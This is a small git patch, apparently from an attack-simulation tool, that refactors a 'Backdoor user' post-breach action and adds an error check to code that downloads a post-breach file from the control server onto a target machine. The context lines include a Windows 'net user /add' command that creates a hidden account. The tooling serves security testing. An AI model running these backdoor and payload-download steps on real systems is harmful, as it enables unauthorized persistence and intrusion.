From 4a8bd01a62048fb6851670bed81ae471d3463466 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 14 May 2019 10:41:38 +0300 Subject: [PATCH] Minor changes after CR --- monkey/infection_monkey/post_breach/actions/add_user.py | 6 +++--- .../post_breach/actions/users_custom_pba.py | 5 ++++- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index 274c2065a..68fb46983 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -13,13 +13,13 @@ WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add, WormConfiguration.remote_user_pass, '/add', '/ACTIVE:NO'] -PBA_NAME = "Backdoor user" - class BackdoorUser(object): + PBA_NAME = "Backdoor user" + def __init__(self): pass @staticmethod def get_pba(): - return PBA.default_get_pba(PBA_NAME, BackdoorUser, LINUX_COMMANDS, WINDOWS_COMMANDS) + return PBA.default_get_pba(BackdoorUser.PBA_NAME, BackdoorUser, LINUX_COMMANDS, WINDOWS_COMMANDS) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index 1ca9be72a..f8ec48c7e 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -45,12 +45,15 @@ class UsersPBA(PBA): (WormConfiguration.current_server, filename), verify=False, proxies=ControlClient.proxies) + if not pba_file_contents.content: + LOG.error("Island didn't respond with post breach file.") + return False try: with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: written_PBA_file.write(pba_file_contents.content) return True except IOError as e: - LOG.error("Can not download post breach file to target machine, because %s" % e) + LOG.error("Can not upload post breach file to target machine: %s" % e) return False @staticmethod